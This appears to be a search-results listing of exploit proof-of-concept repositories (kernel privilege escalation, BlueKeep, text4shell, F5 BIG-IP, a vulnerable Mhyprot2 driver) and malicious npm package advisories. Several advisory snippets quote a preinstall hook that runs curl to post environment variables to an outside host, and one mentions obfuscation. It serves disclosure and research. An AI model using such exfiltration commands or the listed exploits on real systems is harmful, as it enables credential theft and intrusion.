13108 matches found
evil-mhyprot-cli
evil-mhyprot-cli Una PoC per il driver vulnerabile Mhyprot2.sys che consente la lettura/scrittura della memoria in kernel/user tramite un processo utente non privilegiato. libmhyprot Wiki Panoramica Cosa possiamo fare con questa CLI è il seguente: Leggere/Scrivere qualsiasi memoria del kernel con...
same_type_object_reuse_exploits
Exploit PoC di riutilizzo di oggetti stesso-tipo/stesso-indirizzo Exploit PoC sviluppati da Mathias Krause associati al blog su https://grsecurity.net/exploitinganddefendingagainstsametypeobjectreuse...
text4shell-poc
Aplicación de Prueba PoC para CVE-2022-42889 Esta es una aplicación vulnerable desarrollada como Prueba de Concepto para la vulnerabilidad CVE-2022-42889. Instalación con Maven Para ejecutarlo necesitarás: JDK 17 o superior Maven 1. Clona el repositorio git git clone...
jscpwn
CVE-2016-4622 Exploit PoC para CVE-2016-4622. Encuentra un análisis detallado del fallo en phrack...
CVE-2025-14847
MongoBleed PoC CVE-2025-14847 Ethical Disclosure & Disclaimer This tool is provided for educational purposes only and for use in authorized security auditing. The purpose of this PoC is to help system administrators and security researchers: 1. Verify if a MongoDB instance is vulnerable to...
Malicious Package
Overview abbishal-poc-as-dependency is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...
CVE-2024-1086
CVE-2024-1086 Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images...
MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
CVE-2022-1388-F5-BIG-IP
CVE-2022-1388-F5-BIG-IP Place target.txt in the same directory and execute directly...
ssdlc-dast-poc
SSDLC DAST PoC Validar DAST em dois microserviços no playgrou...
mac-mcp-gui-poc
mac-mcp-gui-poc Di...
CVE-2021-41773-Apache-Lab
CVE-2021-41773 — Apache HTTP Server 2.4.49 Lab Reproduction of CVE-2021-41773 , a path traversal vulnerability in Apache HTTP Server 2.4.49. This project uses Docker to create an isolated vulnerable environment and a Python PoC to demonstrate controlled file disclosure. Safety: The PoC only accep...
PoCHarness
!licensehttps://img.shields.io/badge/license-Apache--2.0-gree...
bluekeep
bluekeep Trabajo público para CVE-2019-0708 Actualización del 2019-11-17 Se añadió código de POC de exploit para Windows 7 de 32 bits. Usando la dirección dentro del código de exploit POC tuve 80% de éxito contra mi VM de prueba. Probablemente podría modificarse para aumentar. Uso Reemplaza la...
MAL-2026-17550 Malicious code in css-dwsawd-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1c370cda09695e44d06a44bc14d14817edadc047e4dad0314edcfc752be796e9 The package name mimics a Wix thunderbolt polyfill and ships a registry-manifest.min.json that aliases legitimate @wix thunderbolt registry module...
MAL-2026-17545 Malicious code in abbishal-poc (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...
Malicious code in abbishal-poc (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...
Malicious code in focus-visible-polyfill-lite (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5225b5a8636a589f9b90272ad04c3f4104670a23d5c24b45f6aeaa757a4f2a2b The package is advertised as a focus-visible polyfill but ships thunderboltRegistry.js, which impersonates Wix thunderbolt internal registry modules...